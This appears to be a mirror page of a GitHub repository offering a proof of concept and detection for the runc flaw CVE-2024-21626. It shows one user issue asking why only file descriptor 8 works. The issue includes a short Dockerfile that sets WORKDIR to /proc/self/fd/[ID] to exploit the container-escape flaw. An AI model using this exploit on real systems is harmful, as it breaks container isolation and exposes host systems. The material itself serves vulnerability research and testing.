Light

nitrocao / cve-2024-21626 Goto Github PK

View Code? Open in Web Editor NEW

67.0 67.0 10.0 3.86 MB

PoC and Detection for CVE-2024-21626

cve-2024-21626's People

Contributors

Stargazers

Watchers

Forkers

skysbsb cleanmgr112 vanpersiexp wyzmgmdg gmh5225 ckexploits anti-ghosts fjsnogueira ofalwl tochny

cve-2024-21626's Issues

Question about File Descriptors

I was trying to reproduce this all day yesterday but, it didnt work because I was using the wrong file descriptors.
Following are the fd in my Demo VM:

ls -lah /proc/self/fd

total 0
dr-x------ 2 rago rago  4 Feb  2 08:22 .
dr-xr-xr-x 9 rago rago  0 Feb  2 08:22 ..
lrwx------ 1 rago rago 64 Feb  2 08:22 0 -> /dev/pts/0
lrwx------ 1 rago rago 64 Feb  2 08:22 1 -> /dev/pts/0
lrwx------ 1 rago rago 64 Feb  2 08:22 2 -> /dev/pts/0
lr-x------ 1 rago rago 64 Feb  2 08:22 3 -> /proc/8465/fd

And this was my demo Dockerfile:

FROM alpine:latest

# exploit the vulnerability
WORKDIR /proc/self/fd/[ID]

# runtime shell inside container
CMD ["/bin/sh"]

I tried with every fd ID but it did not work:

docker: Error response from daemon: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error during container init: mkdir /proc/self/fd/3: not a directory: unknown: Are you trying to mount a directory onto a file (or vice-versa)? Check if the specified host path exists and is the expected type.

If I try with the one you used, /proc/self/fd/8, it works....but just with that ID alone!
Any idea why this is happening?

Recommend Projects

React

A declarative, efficient, and flexible JavaScript library for building user interfaces.
Vue.js

🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
Typescript

TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
TensorFlow

An Open Source Machine Learning Framework for Everyone
Django

The Web framework for perfectionists with deadlines.
Laravel

A PHP framework for web artisans
D3

Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

javascript

JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
web

Some thing interesting about web. New door for the world.
server

A server is a program made to process requests and deliver data to clients.
Machine learning

Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Visualization

Some thing interesting about visualization, use data art
Game

Some thing interesting about game, make everyone happy.

Recommend Org

Facebook

We are working to build community through open source technology. NB: members must have two-factor auth.
Microsoft

Open source projects and samples from Microsoft.
Google

Google ❤️ Open Source for everyone.
Alibaba

Alibaba Open Source for everyone
D3

Data-Driven Documents codes.
Tencent

China tencent open source team.